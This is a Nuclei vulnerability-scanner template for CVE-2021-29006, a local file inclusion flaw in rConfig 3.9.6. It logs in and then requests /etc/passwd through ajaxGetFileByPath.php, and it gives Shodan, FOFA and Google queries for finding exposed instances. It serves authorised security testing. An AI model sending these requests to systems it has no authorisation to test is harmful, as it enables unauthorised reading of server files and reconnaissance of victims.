nuclei-templates/http/cves/2021/CVE-2021-29006.yaml

64 lines
1.8 KiB
YAML
Raw Normal View History

2023-10-17 07:20:28 +00:00
id: CVE-2021-29006
2023-10-17 07:20:28 +00:00
info:
name: rConfig 3.9.6 - Local File Inclusion
author: r3Y3r53
severity: medium
description: |
rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
reference:
- https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
- https://nvd.nist.gov/vuln/detail/CVE-2021-29006
- http://rconfig.com
2023-10-17 07:20:28 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-29006
cwe-id: CWE-22
epss-score: 0.09465
epss-percentile: 0.94172
cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
2023-10-17 07:20:28 +00:00
metadata:
verified: true
max-request: 3
vendor: rconfig
product: rconfig
shodan-query:
- http.title:"rConfig"
- http.title:"rconfig"
2024-05-31 19:23:20 +00:00
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,rconfig,authenticated,lfi
2023-10-17 07:20:28 +00:00
http:
- raw:
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}&sublogin=1
- |
GET /dashboard.php HTTP/1.1
Host: {{Hostname}}
- |
GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_3
regex:
- 'root:.*:0:0:'
- type: word
part: body_2
words:
- 'rconfig'
- type: status
part: header_3
status:
- 200
# digest: 4a0a0047304502202a66593f5990f14cef08cd06a2cb12e312b42e73c046a4e3a92b8875e6224558022100c04d6f069d0ba1fbd4d2361d817b1a9e9dc10af26f5540980ea831342374bba0:922c64590222798bb761d5b6d8e72950